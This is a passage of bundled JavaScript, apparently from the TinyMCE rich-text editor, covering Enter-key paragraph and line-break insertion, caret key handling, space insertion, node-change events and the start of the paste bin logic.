    const trimInlineElementsOnLeftSideOfBlock = (dom, nonEmptyElementsMap, block) => {
      var _a;
      const firstChilds = [];
      if (!block) {
        return;
      }
      let currentNode = block;
      while (currentNode = currentNode.firstChild) {
        if (dom.isBlock(currentNode)) {
          return;
        }
        if (isElement$6(currentNode) && !nonEmptyElementsMap[currentNode.nodeName.toLowerCase()]) {
          firstChilds.push(currentNode);
        }
      }
      let i = firstChilds.length;
      while (i--) {
        currentNode = firstChilds[i];
        if (!currentNode.hasChildNodes() || currentNode.firstChild === currentNode.lastChild && ((_a = currentNode.firstChild) === null || _a === void 0 ? void 0 : _a.nodeValue) === '') {
          dom.remove(currentNode);
        } else {
          if (isEmptyAnchor(dom, currentNode)) {
            dom.remove(currentNode);
          }
        }
      }
    };
    const normalizeZwspOffset = (start, container, offset) => {
      if (!isText$a(container)) {
        return offset;
      } else if (start) {
        return offset === 1 && container.data.charAt(offset - 1) === ZWSP$1 ? 0 : offset;
      } else {
        return offset === container.data.length - 1 && container.data.charAt(offset) === ZWSP$1 ? container.data.length : offset;
      }
    };
    const includeZwspInRange = rng => {
      const newRng = rng.cloneRange();
      newRng.setStart(rng.startContainer, normalizeZwspOffset(true, rng.startContainer, rng.startOffset));
      newRng.setEnd(rng.endContainer, normalizeZwspOffset(false, rng.endContainer, rng.endOffset));
      return newRng;
    };
    const trimLeadingLineBreaks = node => {
      let currentNode = node;
      do {
        if (isText$a(currentNode)) {
          currentNode.data = currentNode.data.replace(/^[\r\n]+/, '');
        }
        currentNode = currentNode.firstChild;
      } while (currentNode);
    };
    const applyAttributes = (editor, node, forcedRootBlockAttrs) => {
      const dom = editor.dom;
      Optional.from(forcedRootBlockAttrs.style).map(dom.parseStyle).each(attrStyles => {
        const currentStyles = getAllRaw(SugarElement.fromDom(node));
        const newStyles = {
          ...currentStyles,
          ...attrStyles
        };
        dom.setStyles(node, newStyles);
      });
      const attrClassesOpt = Optional.from(forcedRootBlockAttrs.class).map(attrClasses => attrClasses.split(/\s+/));
      const currentClassesOpt = Optional.from(node.className).map(currentClasses => filter$5(currentClasses.split(/\s+/), clazz => clazz !== ''));
      lift2(attrClassesOpt, currentClassesOpt, (attrClasses, currentClasses) => {
        const filteredClasses = filter$5(currentClasses, clazz => !contains$2(attrClasses, clazz));
        const newClasses = [
          ...attrClasses,
          ...filteredClasses
        ];
        dom.setAttrib(node, 'class', newClasses.join(' '));
      });
      const appliedAttrs = [
        'style',
        'class'
      ];
      const remainingAttrs = filter$4(forcedRootBlockAttrs, (_, attrs) => !contains$2(appliedAttrs, attrs));
      dom.setAttribs(node, remainingAttrs);
    };
    const setForcedBlockAttrs = (editor, node) => {
      const forcedRootBlockName = getForcedRootBlock(editor);
      if (forcedRootBlockName.toLowerCase() === node.tagName.toLowerCase()) {
        const forcedRootBlockAttrs = getForcedRootBlockAttrs(editor);
        applyAttributes(editor, node, forcedRootBlockAttrs);
      }
    };
    const wrapSelfAndSiblingsInDefaultBlock = (editor, newBlockName, rng, container, offset) => {
      var _a;
      const dom = editor.dom;
      const editableRoot = (_a = getEditableRoot(dom, container)) !== null && _a !== void 0 ? _a : dom.getRoot();
      let parentBlock = dom.getParent(container, dom.isBlock);
      if (!parentBlock || !canSplitBlock(dom, parentBlock)) {
        parentBlock = parentBlock || editableRoot;
        let rootBlockName;
        if (parentBlock === editor.getBody() || isTableCellOrCaption(parentBlock)) {
          rootBlockName = parentBlock.nodeName.toLowerCase();
        } else if (parentBlock.parentNode) {
          rootBlockName = parentBlock.parentNode.nodeName.toLowerCase();
        } else {
          rootBlockName = '';
        }
        if (!parentBlock.hasChildNodes()) {
          const newBlock = dom.create(newBlockName);
          setForcedBlockAttrs(editor, newBlock);
          parentBlock.appendChild(newBlock);
          rng.setStart(newBlock, 0);
          rng.setEnd(newBlock, 0);
          return newBlock;
        }
        let node = container;
        while (node && node.parentNode !== parentBlock) {
          node = node.parentNode;
        }
        let startNode;
        while (node && !dom.isBlock(node)) {
          startNode = node;
          node = node.previousSibling;
        }
        if (startNode && editor.schema.isValidChild(rootBlockName, newBlockName.toLowerCase())) {
          const startNodeParent = startNode.parentNode;
          const newBlock = dom.create(newBlockName);
          setForcedBlockAttrs(editor, newBlock);
          startNodeParent.insertBefore(newBlock, startNode);
          node = startNode;
          while (node && !dom.isBlock(node)) {
            const next = node.nextSibling;
            newBlock.appendChild(node);
            node = next;
          }
          rng.setStart(container, offset);
          rng.setEnd(container, offset);
        }
      }
      return container;
    };
    const addBrToBlockIfNeeded = (dom, block) => {
      block.normalize();
      const lastChild = block.lastChild;
      if (!lastChild || isElement$6(lastChild) && /^(left|right)$/gi.test(dom.getStyle(lastChild, 'float', true))) {
        dom.add(block, 'br');
      }
    };
    const shouldEndContainer = (editor, container) => {
      const optionValue = shouldEndContainerOnEmptyBlock(editor);
      if (isNullable(container)) {
        return false;
      } else if (isString(optionValue)) {
        return contains$2(Tools.explode(optionValue), container.nodeName.toLowerCase());
      } else {
        return optionValue;
      }
    };
    const insert$2 = (editor, evt) => {
      let container;
      let offset;
      let parentBlockName;
      let containerBlock;
      let isAfterLastNodeInContainer = false;
      const dom = editor.dom;
      const schema = editor.schema, nonEmptyElementsMap = schema.getNonEmptyElements();
      const rng = editor.selection.getRng();
      const newBlockName = getForcedRootBlock(editor);
      const createNewBlock = name => {
        let node = container;
        const textInlineElements = schema.getTextInlineElements();
        let block;
        if (name || parentBlockName === 'TABLE' || parentBlockName === 'HR') {
          block = dom.create(name || newBlockName);
        } else {
          block = parentBlock.cloneNode(false);
        }
        let caretNode = block;
        if (shouldKeepStyles(editor) === false) {
          dom.setAttrib(block, 'style', null);
          dom.setAttrib(block, 'class', null);
        } else {
          do {
            if (textInlineElements[node.nodeName]) {
              if (isCaretNode(node) || isBookmarkNode$1(node)) {
                continue;
              }
              const clonedNode = node.cloneNode(false);
              dom.setAttrib(clonedNode, 'id', '');
              if (block.hasChildNodes()) {
                clonedNode.appendChild(block.firstChild);
                block.appendChild(clonedNode);
              } else {
                caretNode = clonedNode;
                block.appendChild(clonedNode);
              }
            }
          } while ((node = node.parentNode) && node !== editableRoot);
        }
        setForcedBlockAttrs(editor, block);
        emptyBlock(caretNode);
        return block;
      };
      const isCaretAtStartOrEndOfBlock = start => {
        const normalizedOffset = normalizeZwspOffset(start, container, offset);
        if (isText$a(container) && (start ? normalizedOffset > 0 : normalizedOffset < container.data.length)) {
          return false;
        }
        if (container.parentNode === parentBlock && isAfterLastNodeInContainer && !start) {
          return true;
        }
        if (start && isElement$6(container) && container === parentBlock.firstChild) {
          return true;
        }
        if (containerAndSiblingName(container, 'TABLE') || containerAndSiblingName(container, 'HR')) {
          return isAfterLastNodeInContainer && !start || !isAfterLastNodeInContainer && start;
        }
        const walker = new DomTreeWalker(container, parentBlock);
        if (isText$a(container)) {
          if (start && normalizedOffset === 0) {
            walker.prev();
          } else if (!start && normalizedOffset === container.data.length) {
            walker.next();
          }
        }
        let node;
        while (node = walker.current()) {
          if (isElement$6(node)) {
            if (!node.getAttribute('data-mce-bogus')) {
              const name = node.nodeName.toLowerCase();
              if (nonEmptyElementsMap[name] && name !== 'br') {
                return false;
              }
            }
          } else if (isText$a(node) && !isWhitespaceText(node.data)) {
            return false;
          }
          if (start) {
            walker.prev();
          } else {
            walker.next();
          }
        }
        return true;
      };
      const insertNewBlockAfter = () => {
        let block;
        if (/^(H[1-6]|PRE|FIGURE)$/.test(parentBlockName) && containerBlockName !== 'HGROUP') {
          block = createNewBlock(newBlockName);
        } else {
          block = createNewBlock();
        }
        if (shouldEndContainer(editor, containerBlock) && canSplitBlock(dom, containerBlock) && dom.isEmpty(parentBlock)) {
          block = dom.split(containerBlock, parentBlock);
        } else {
          dom.insertAfter(block, parentBlock);
        }
        moveToCaretPosition(editor, block);
        return block;
      };
      normalize$2(dom, rng).each(normRng => {
        rng.setStart(normRng.startContainer, normRng.startOffset);
        rng.setEnd(normRng.endContainer, normRng.endOffset);
      });
      container = rng.startContainer;
      offset = rng.startOffset;
      const shiftKey = !!(evt && evt.shiftKey);
      const ctrlKey = !!(evt && evt.ctrlKey);
      if (isElement$6(container) && container.hasChildNodes()) {
        isAfterLastNodeInContainer = offset > container.childNodes.length - 1;
        container = container.childNodes[Math.min(offset, container.childNodes.length - 1)] || container;
        if (isAfterLastNodeInContainer && isText$a(container)) {
          offset = container.data.length;
        } else {
          offset = 0;
        }
      }
      const editableRoot = getEditableRoot(dom, container);
      if (!editableRoot || isWithinNonEditableList(editor, container)) {
        return;
      }
      if (!shiftKey) {
        container = wrapSelfAndSiblingsInDefaultBlock(editor, newBlockName, rng, container, offset);
      }
      let parentBlock = dom.getParent(container, dom.isBlock) || dom.getRoot();
      containerBlock = isNonNullable(parentBlock === null || parentBlock === void 0 ? void 0 : parentBlock.parentNode) ? dom.getParent(parentBlock.parentNode, dom.isBlock) : null;
      parentBlockName = parentBlock ? parentBlock.nodeName.toUpperCase() : '';
      const containerBlockName = containerBlock ? containerBlock.nodeName.toUpperCase() : '';
      if (containerBlockName === 'LI' && !ctrlKey) {
        const liBlock = containerBlock;
        parentBlock = liBlock;
        containerBlock = liBlock.parentNode;
        parentBlockName = containerBlockName;
      }
      if (/^(LI|DT|DD)$/.test(parentBlockName) && isElement$6(containerBlock)) {
        if (dom.isEmpty(parentBlock)) {
          insert$3(editor, createNewBlock, containerBlock, parentBlock, newBlockName);
          return;
        }
      }
      if (parentBlock === editor.getBody()) {
        return;
      }
      const parentBlockParent = parentBlock.parentNode;
      let newBlock;
      if (isCaretContainerBlock$1(parentBlock)) {
        newBlock = showCaretContainerBlock(parentBlock);
        if (dom.isEmpty(parentBlock)) {
          emptyBlock(parentBlock);
        }
        setForcedBlockAttrs(editor, newBlock);
        moveToCaretPosition(editor, newBlock);
      } else if (isCaretAtStartOrEndOfBlock(false)) {
        newBlock = insertNewBlockAfter();
      } else if (isCaretAtStartOrEndOfBlock(true) && parentBlockParent) {
        newBlock = parentBlockParent.insertBefore(createNewBlock(), parentBlock);
        moveToCaretPosition(editor, containerAndSiblingName(parentBlock, 'HR') ? newBlock : parentBlock);
      } else {
        const tmpRng = includeZwspInRange(rng).cloneRange();
        tmpRng.setEndAfter(parentBlock);
        const fragment = tmpRng.extractContents();
        trimZwsp(fragment);
        trimLeadingLineBreaks(fragment);
        newBlock = fragment.firstChild;
        dom.insertAfter(fragment, parentBlock);
        trimInlineElementsOnLeftSideOfBlock(dom, nonEmptyElementsMap, newBlock);
        addBrToBlockIfNeeded(dom, parentBlock);
        if (dom.isEmpty(parentBlock)) {
          emptyBlock(parentBlock);
        }
        newBlock.normalize();
        if (dom.isEmpty(newBlock)) {
          dom.remove(newBlock);
          insertNewBlockAfter();
        } else {
          setForcedBlockAttrs(editor, newBlock);
          moveToCaretPosition(editor, newBlock);
        }
      }
      dom.setAttrib(newBlock, 'id', '');
      editor.dispatch('NewBlock', { newBlock });
    };
    const fakeEventName$1 = 'insertParagraph';
    const blockbreak = {
      insert: insert$2,
      fakeEventName: fakeEventName$1
    };

    const hasRightSideContent = (schema, container, parentBlock) => {
      const walker = new DomTreeWalker(container, parentBlock);
      let node;
      const nonEmptyElementsMap = schema.getNonEmptyElements();
      while (node = walker.next()) {
        if (nonEmptyElementsMap[node.nodeName.toLowerCase()] || isText$a(node) && node.length > 0) {
          return true;
        }
      }
      return false;
    };
    const moveSelectionToBr = (editor, brElm, extraBr) => {
      const rng = editor.dom.createRng();
      if (!extraBr) {
        rng.setStartAfter(brElm);
        rng.setEndAfter(brElm);
      } else {
        rng.setStartBefore(brElm);
        rng.setEndBefore(brElm);
      }
      editor.selection.setRng(rng);
      scrollRangeIntoView(editor, rng);
    };
    const insertBrAtCaret = (editor, evt) => {
      const selection = editor.selection;
      const dom = editor.dom;
      const rng = selection.getRng();
      let brElm;
      let extraBr = false;
      normalize$2(dom, rng).each(normRng => {
        rng.setStart(normRng.startContainer, normRng.startOffset);
        rng.setEnd(normRng.endContainer, normRng.endOffset);
      });
      let offset = rng.startOffset;
      let container = rng.startContainer;
      if (isElement$6(container) && container.hasChildNodes()) {
        const isAfterLastNodeInContainer = offset > container.childNodes.length - 1;
        container = container.childNodes[Math.min(offset, container.childNodes.length - 1)] || container;
        if (isAfterLastNodeInContainer && isText$a(container)) {
          offset = container.data.length;
        } else {
          offset = 0;
        }
      }
      let parentBlock = dom.getParent(container, dom.isBlock);
      const containerBlock = parentBlock && parentBlock.parentNode ? dom.getParent(parentBlock.parentNode, dom.isBlock) : null;
      const containerBlockName = containerBlock ? containerBlock.nodeName.toUpperCase() : '';
      const isControlKey = !!(evt && evt.ctrlKey);
      if (containerBlockName === 'LI' && !isControlKey) {
        parentBlock = containerBlock;
      }
      if (isText$a(container) && offset >= container.data.length) {
        if (!hasRightSideContent(editor.schema, container, parentBlock || dom.getRoot())) {
          brElm = dom.create('br');
          rng.insertNode(brElm);
          rng.setStartAfter(brElm);
          rng.setEndAfter(brElm);
          extraBr = true;
        }
      }
      brElm = dom.create('br');
      rangeInsertNode(dom, rng, brElm);
      moveSelectionToBr(editor, brElm, extraBr);
      editor.undoManager.add();
    };
    const insertBrBefore = (editor, inline) => {
      const br = SugarElement.fromTag('br');
      before$3(SugarElement.fromDom(inline), br);
      editor.undoManager.add();
    };
    const insertBrAfter = (editor, inline) => {
      if (!hasBrAfter(editor.getBody(), inline)) {
        after$4(SugarElement.fromDom(inline), SugarElement.fromTag('br'));
      }
      const br = SugarElement.fromTag('br');
      after$4(SugarElement.fromDom(inline), br);
      moveSelectionToBr(editor, br.dom, false);
      editor.undoManager.add();
    };
    const isBeforeBr = pos => {
      return isBr$6(pos.getNode());
    };
    const hasBrAfter = (rootNode, startNode) => {
      if (isBeforeBr(CaretPosition.after(startNode))) {
        return true;
      } else {
        return nextPosition(rootNode, CaretPosition.after(startNode)).map(pos => {
          return isBr$6(pos.getNode());
        }).getOr(false);
      }
    };
    const isAnchorLink = elm => {
      return elm && elm.nodeName === 'A' && 'href' in elm;
    };
    const isInsideAnchor = location => {
      return location.fold(never, isAnchorLink, isAnchorLink, never);
    };
    const readInlineAnchorLocation = editor => {
      const isInlineTarget$1 = curry(isInlineTarget, editor);
      const position = CaretPosition.fromRangeStart(editor.selection.getRng());
      return readLocation(isInlineTarget$1, editor.getBody(), position).filter(isInsideAnchor);
    };
    const insertBrOutsideAnchor = (editor, location) => {
      location.fold(noop, curry(insertBrBefore, editor), curry(insertBrAfter, editor), noop);
    };
    const insert$1 = (editor, evt) => {
      const anchorLocation = readInlineAnchorLocation(editor);
      if (anchorLocation.isSome()) {
        anchorLocation.each(curry(insertBrOutsideAnchor, editor));
      } else {
        insertBrAtCaret(editor, evt);
      }
    };
    const fakeEventName = 'insertLineBreak';
    const linebreak = {
      insert: insert$1,
      fakeEventName
    };

    const matchesSelector = (editor, selector) => {
      return getParentBlock$1(editor).filter(parentBlock => {
        return selector.length > 0 && is$1(SugarElement.fromDom(parentBlock), selector);
      }).isSome();
    };
    const shouldInsertBr = editor => {
      return matchesSelector(editor, getBrNewLineSelector(editor));
    };
    const shouldBlockNewLine$1 = editor => {
      return matchesSelector(editor, getNoNewLineSelector(editor));
    };

    const newLineAction = Adt.generate([
      { br: [] },
      { block: [] },
      { none: [] }
    ]);
    const shouldBlockNewLine = (editor, _shiftKey) => {
      return shouldBlockNewLine$1(editor);
    };
    const inListBlock = requiredState => {
      return (editor, _shiftKey) => {
        return isListItemParentBlock(editor) === requiredState;
      };
    };
    const inBlock = (blockName, requiredState) => (editor, _shiftKey) => {
      const state = getParentBlockName(editor) === blockName.toUpperCase();
      return state === requiredState;
    };
    const inCefBlock = editor => {
      const editableRoot = getEditableRoot(editor.dom, editor.selection.getStart());
      return isNullable(editableRoot);
    };
    const inPreBlock = requiredState => inBlock('pre', requiredState);
    const inSummaryBlock = () => inBlock('summary', true);
    const shouldPutBrInPre = requiredState => {
      return (editor, _shiftKey) => {
        return shouldPutBrInPre$1(editor) === requiredState;
      };
    };
    const inBrContext = (editor, _shiftKey) => {
      return shouldInsertBr(editor);
    };
    const hasShiftKey = (_editor, shiftKey) => {
      return shiftKey;
    };
    const canInsertIntoEditableRoot = editor => {
      const forcedRootBlock = getForcedRootBlock(editor);
      const rootEditable = getEditableRoot(editor.dom, editor.selection.getStart());
      return isNonNullable(rootEditable) && editor.schema.isValidChild(rootEditable.nodeName, forcedRootBlock);
    };
    const match = (predicates, action) => {
      return (editor, shiftKey) => {
        const isMatch = foldl(predicates, (res, p) => {
          return res && p(editor, shiftKey);
        }, true);
        return isMatch ? Optional.some(action) : Optional.none();
      };
    };
    const getAction = (editor, evt) => {
      return evaluateUntil([
        match([shouldBlockNewLine], newLineAction.none()),
        match([
          inPreBlock(true),
          inCefBlock
        ], newLineAction.none()),
        match([inSummaryBlock()], newLineAction.br()),
        match([
          inPreBlock(true),
          shouldPutBrInPre(false),
          hasShiftKey
        ], newLineAction.br()),
        match([
          inPreBlock(true),
          shouldPutBrInPre(false)
        ], newLineAction.block()),
        match([
          inPreBlock(true),
          shouldPutBrInPre(true),
          hasShiftKey
        ], newLineAction.block()),
        match([
          inPreBlock(true),
          shouldPutBrInPre(true)
        ], newLineAction.br()),
        match([
          inListBlock(true),
          hasShiftKey
        ], newLineAction.br()),
        match([inListBlock(true)], newLineAction.block()),
        match([inBrContext], newLineAction.br()),
        match([hasShiftKey], newLineAction.br()),
        match([canInsertIntoEditableRoot], newLineAction.block())
      ], [
        editor,
        !!(evt && evt.shiftKey)
      ]).getOr(newLineAction.none());
    };

    const insertBreak = (breakType, editor, evt) => {
      if (!editor.selection.isCollapsed()) {
        execEditorDeleteCommand(editor);
      }
      if (isNonNullable(evt)) {
        const event = fireFakeBeforeInputEvent(editor, breakType.fakeEventName);
        if (event.isDefaultPrevented()) {
          return;
        }
      }
      breakType.insert(editor, evt);
      if (isNonNullable(evt)) {
        fireFakeInputEvent(editor, breakType.fakeEventName);
      }
    };
    const insert = (editor, evt) => {
      const br = () => insertBreak(linebreak, editor, evt);
      const block = () => insertBreak(blockbreak, editor, evt);
      const logicalAction = getAction(editor, evt);
      switch (getNewlineBehavior(editor)) {
      case 'linebreak':
        logicalAction.fold(br, br, noop);
        break;
      case 'block':
        logicalAction.fold(block, block, noop);
        break;
      case 'invert':
        logicalAction.fold(block, br, noop);
        break;
      default:
        logicalAction.fold(br, block, noop);
        break;
      }
    };

    const handleEnterKeyEvent = (editor, event) => {
      if (event.isDefaultPrevented()) {
        return;
      }
      event.preventDefault();
      endTypingLevelIgnoreLocks(editor.undoManager);
      editor.undoManager.transact(() => {
        insert(editor, event);
      });
    };
    const setup$h = editor => {
      editor.on('keydown', event => {
        if (event.keyCode === VK.ENTER) {
          handleEnterKeyEvent(editor, event);
        }
      });
    };

    const executeKeydownOverride$2 = (editor, caret, evt) => {
      const isMac = Env.os.isMacOS() || Env.os.isiOS();
      execute([
        {
          keyCode: VK.END,
          action: action(moveToLineEndPoint$1, editor, true)
        },
        {
          keyCode: VK.HOME,
          action: action(moveToLineEndPoint$1, editor, false)
        },
        ...!isMac ? [
          {
            keyCode: VK.HOME,
            action: action(selectToEndPoint, editor, false),
            ctrlKey: true,
            shiftKey: true
          },
          {
            keyCode: VK.END,
            action: action(selectToEndPoint, editor, true),
            ctrlKey: true,
            shiftKey: true
          }
        ] : [],
        {
          keyCode: VK.END,
          action: action(moveToLineEndPoint, editor, true)
        },
        {
          keyCode: VK.HOME,
          action: action(moveToLineEndPoint, editor, false)
        },
        {
          keyCode: VK.END,
          action: action(moveToLineEndPoint$2, editor, true, caret)
        },
        {
          keyCode: VK.HOME,
          action: action(moveToLineEndPoint$2, editor, false, caret)
        }
      ], evt).each(_ => {
        evt.preventDefault();
      });
    };
    const setup$g = (editor, caret) => {
      editor.on('keydown', evt => {
        if (!evt.isDefaultPrevented()) {
          executeKeydownOverride$2(editor, caret, evt);
        }
      });
    };

    const setup$f = editor => {
      editor.on('input', e => {
        if (!e.isComposing) {
          normalizeNbspsInEditor(editor);
        }
      });
    };

    const platform = detect$2();
    const executeKeyupAction = (editor, caret, evt) => {
      execute([
        {
          keyCode: VK.PAGE_UP,
          action: action(moveToLineEndPoint$2, editor, false, caret)
        },
        {
          keyCode: VK.PAGE_DOWN,
          action: action(moveToLineEndPoint$2, editor, true, caret)
        }
      ], evt);
    };
    const stopImmediatePropagation = e => e.stopImmediatePropagation();
    const isPageUpDown = evt => evt.keyCode === VK.PAGE_UP || evt.keyCode === VK.PAGE_DOWN;
    const setNodeChangeBlocker = (blocked, editor, block) => {
      if (block && !blocked.get()) {
        editor.on('NodeChange', stopImmediatePropagation, true);
      } else if (!block && blocked.get()) {
        editor.off('NodeChange', stopImmediatePropagation);
      }
      blocked.set(block);
    };
    const setup$e = (editor, caret) => {
      if (platform.os.isMacOS()) {
        return;
      }
      const blocked = Cell(false);
      editor.on('keydown', evt => {
        if (isPageUpDown(evt)) {
          setNodeChangeBlocker(blocked, editor, true);
        }
      });
      editor.on('keyup', evt => {
        if (!evt.isDefaultPrevented()) {
          executeKeyupAction(editor, caret, evt);
        }
        if (isPageUpDown(evt) && blocked.get()) {
          setNodeChangeBlocker(blocked, editor, false);
          editor.nodeChanged();
        }
      });
    };

    const insertTextAtPosition = (text, pos) => {
      const container = pos.container();
      const offset = pos.offset();
      if (isText$a(container)) {
        container.insertData(offset, text);
        return Optional.some(CaretPosition(container, offset + text.length));
      } else {
        return getElementFromPosition(pos).map(elm => {
          const textNode = SugarElement.fromText(text);
          if (pos.isAtEnd()) {
            after$4(elm, textNode);
          } else {
            before$3(elm, textNode);
          }
          return CaretPosition(textNode.dom, text.length);
        });
      }
    };
    const insertNbspAtPosition = curry(insertTextAtPosition, nbsp);
    const insertSpaceAtPosition = curry(insertTextAtPosition, ' ');

    const locationToCaretPosition = root => location => location.fold(element => prevPosition(root.dom, CaretPosition.before(element)), element => firstPositionIn(element), element => lastPositionIn(element), element => nextPosition(root.dom, CaretPosition.after(element)));
    const insertInlineBoundarySpaceOrNbsp = (root, pos) => checkPos => needsToHaveNbsp(root, checkPos) ? insertNbspAtPosition(pos) : insertSpaceAtPosition(pos);
    const setSelection = editor => pos => {
      editor.selection.setRng(pos.toRange());
      editor.nodeChanged();
      return true;
    };
    const insertSpaceOrNbspAtSelection = editor => {
      const pos = CaretPosition.fromRangeStart(editor.selection.getRng());
      const root = SugarElement.fromDom(editor.getBody());
      if (editor.selection.isCollapsed()) {
        const isInlineTarget$1 = curry(isInlineTarget, editor);
        const caretPosition = CaretPosition.fromRangeStart(editor.selection.getRng());
        return readLocation(isInlineTarget$1, editor.getBody(), caretPosition).bind(locationToCaretPosition(root)).map(checkPos => () => insertInlineBoundarySpaceOrNbsp(root, pos)(checkPos).each(setSelection(editor)));
      } else {
        return Optional.none();
      }
    };

    const executeKeydownOverride$1 = (editor, evt) => {
      executeWithDelayedAction([{
          keyCode: VK.SPACEBAR,
          action: action(insertSpaceOrNbspAtSelection, editor)
        }], evt).each(applyAction => {
        evt.preventDefault();
        const event = fireFakeBeforeInputEvent(editor, 'insertText', { data: ' ' });
        if (!event.isDefaultPrevented()) {
          applyAction();
          fireFakeInputEvent(editor, 'insertText', { data: ' ' });
        }
      });
    };
    const setup$d = editor => {
      editor.on('keydown', evt => {
        if (!evt.isDefaultPrevented()) {
          executeKeydownOverride$1(editor, evt);
        }
      });
    };

    const tableTabNavigation = editor => {
      if (hasTableTabNavigation(editor)) {
        return [
          {
            keyCode: VK.TAB,
            action: action(handleTab, editor, true)
          },
          {
            keyCode: VK.TAB,
            shiftKey: true,
            action: action(handleTab, editor, false)
          }
        ];
      } else {
        return [];
      }
    };
    const executeKeydownOverride = (editor, evt) => {
      execute([...tableTabNavigation(editor)], evt).each(_ => {
        evt.preventDefault();
      });
    };
    const setup$c = editor => {
      editor.on('keydown', evt => {
        if (!evt.isDefaultPrevented()) {
          executeKeydownOverride(editor, evt);
        }
      });
    };

    const setup$b = editor => {
      editor.addShortcut('Meta+P', '', 'mcePrint');
      setup$j(editor);
      if (isRtc(editor)) {
        return Cell(null);
      } else {
        const caret = setupSelectedState(editor);
        setup$l(editor);
        setup$k(editor, caret);
        setup$i(editor, caret);
        setup$h(editor);
        setup$d(editor);
        setup$f(editor);
        setup$c(editor);
        setup$g(editor, caret);
        setup$e(editor, caret);
        return caret;
      }
    };

    class NodeChange {
      constructor(editor) {
        this.lastPath = [];
        this.editor = editor;
        let lastRng;
        const self = this;
        if (!('onselectionchange' in editor.getDoc())) {
          editor.on('NodeChange click mouseup keyup focus', e => {
            const nativeRng = editor.selection.getRng();
            const fakeRng = {
              startContainer: nativeRng.startContainer,
              startOffset: nativeRng.startOffset,
              endContainer: nativeRng.endContainer,
              endOffset: nativeRng.endOffset
            };
            if (e.type === 'nodechange' || !isEq$4(fakeRng, lastRng)) {
              editor.dispatch('SelectionChange');
            }
            lastRng = fakeRng;
          });
        }
        editor.on('contextmenu', () => {
          editor.dispatch('SelectionChange');
        });
        editor.on('SelectionChange', () => {
          const startElm = editor.selection.getStart(true);
          if (!startElm) {
            return;
          }
          if (hasAnyRanges(editor) && !self.isSameElementPath(startElm) && editor.dom.isChildOf(startElm, editor.getBody())) {
            editor.nodeChanged({ selectionChange: true });
          }
        });
        editor.on('mouseup', e => {
          if (!e.isDefaultPrevented() && hasAnyRanges(editor)) {
            if (editor.selection.getNode().nodeName === 'IMG') {
              Delay.setEditorTimeout(editor, () => {
                editor.nodeChanged();
              });
            } else {
              editor.nodeChanged();
            }
          }
        });
      }
      nodeChanged(args = {}) {
        const selection = this.editor.selection;
        let node;
        if (this.editor.initialized && selection && !shouldDisableNodeChange(this.editor) && !this.editor.mode.isReadOnly()) {
          const root = this.editor.getBody();
          node = selection.getStart(true) || root;
          if (node.ownerDocument !== this.editor.getDoc() || !this.editor.dom.isChildOf(node, root)) {
            node = root;
          }
          const parents = [];
          this.editor.dom.getParent(node, node => {
            if (node === root) {
              return true;
            } else {
              parents.push(node);
              return false;
            }
          });
          this.editor.dispatch('NodeChange', {
            ...args,
            element: node,
            parents
          });
        }
      }
      isSameElementPath(startElm) {
        let i;
        const editor = this.editor;
        const currentPath = reverse(editor.dom.getParents(startElm, always, editor.getBody()));
        if (currentPath.length === this.lastPath.length) {
          for (i = currentPath.length; i >= 0; i--) {
            if (currentPath[i] !== this.lastPath[i]) {
              break;
            }
          }
          if (i === -1) {
            this.lastPath = currentPath;
            return true;
          }
        }
        this.lastPath = currentPath;
        return false;
      }
    }

    const internalMimeType = 'x-tinymce/html';
    const internalHtmlMime = constant(internalMimeType);
    const internalMark = '<!-- ' + internalMimeType + ' -->';
    const mark = html => internalMark + html;
    const unmark = html => html.replace(internalMark, '');
    const isMarked = html => html.indexOf(internalMark) !== -1;

    const isPlainText = text => {
      return !/<(?:\/?(?!(?:div|p|br|span)>)\w+|(?:(?!(?:span style="white-space:\s?pre;?">)|br\s?\/>))\w+\s[^>]+)>/i.test(text);
    };
    const openContainer = (rootTag, rootAttrs) => {
      let tag = '<' + rootTag;
      const attrs = mapToArray(rootAttrs, (value, key) => key + '="' + Entities.encodeAllRaw(value) + '"');
      if (attrs.length) {
        tag += ' ' + attrs.join(' ');
      }
      return tag + '>';
    };
    const toBlockElements = (text, rootTag, rootAttrs) => {
      const blocks = text.split(/\n\n/);
      const tagOpen = openContainer(rootTag, rootAttrs);
      const tagClose = '</' + rootTag + '>';
      const paragraphs = map$3(blocks, p => {
        return p.split(/\n/).join('<br />');
      });
      const stitch = p => {
        return tagOpen + p + tagClose;
      };
      return paragraphs.length === 1 ? paragraphs[0] : map$3(paragraphs, stitch).join('');
    };

    const pasteBinDefaultContent = '%MCEPASTEBIN%';
    const create$6 = (editor, lastRngCell) => {
      const {dom, selection} = editor;
      const body = editor.getBody();
      lastRngCell.set(selection.getRng());
      const pasteBinElm = dom.add(editor.getBody(), 'div', {
        'id': 'mcepastebin',
        'class': 'mce-pastebin',
        'contentEditable': true,
        'data-mce-bogus': 'all',
        'style': 'position: fixed; top: 50%; width: 10px; height: 10px; overflow: hidden; opacity: 0'
      }, pasteBinDefaultContent);
      if (Env.browser.isFirefox()) {
        dom.setStyle(pasteBinElm, 'left', dom.getStyle(body, 'direction', true) === 'rtl' ? 65535 : -65535);
      }
      dom.bind(pasteBinElm, 'beforedeactivate focusin focusout', e => {
        e.stopPropagation();
      });
      pasteBinElm.focus();
      selection.select(pasteBinElm, true);
    };
    const remove = (editor, lastRngCell) => {
      const dom = editor.dom;
      if (getEl(editor)) {
        let pasteBinClone;
        const lastRng = lastRngCell.get();
        while (pasteBinClone = getEl(editor)) {
          dom.remove(pasteBinClone);
          dom.unbind(pasteBinClone);
        }
        if (lastRng) {
          editor.selection.setRng(lastRng);
        }
      }
      lastRngCell.set(null);
    };
    const getEl = editor => editor.dom.get('mcepastebin');
    const isPasteBin = elm => isNonNullable(elm) && elm.id === 'mcepastebin';
    const getHtml = editor => {
      const dom = editor.dom;
      const copyAndRemove = (toElm, fromElm) => {
        toElm.appendChild(fromElm);
        dom.remove(fromElm, true);
      };
      const [pasteBinElm, ...pasteBinClones] = filter$5(editor.getBody().childNodes, isPasteBin);
      each$e(pasteBinClones, pasteBinClone => {
        copyAndRemove(pasteBinElm, pasteBinClone);
      });
      const dirtyWrappers = dom.select('div[id=mcepastebin]', pasteBinElm);
      for (let i = dirtyWrappers.length - 1; i >= 0; i--) {
        const cleanWrapper = dom.create('div');
        pasteBinElm.insertBefore(cleanWrapper, dirtyWrappers[i]);
        copyAndRemove(cleanWrapper, dirtyWrappers[i]);
      }
      return pasteBinElm ? pasteBinElm.innerHTML : '';
    };
    const isDefaultPasteBinContent = content => content === pasteBinDefaultContent;
    const PasteBin = editor => {
      const lastRng = Cell(null);
      return {
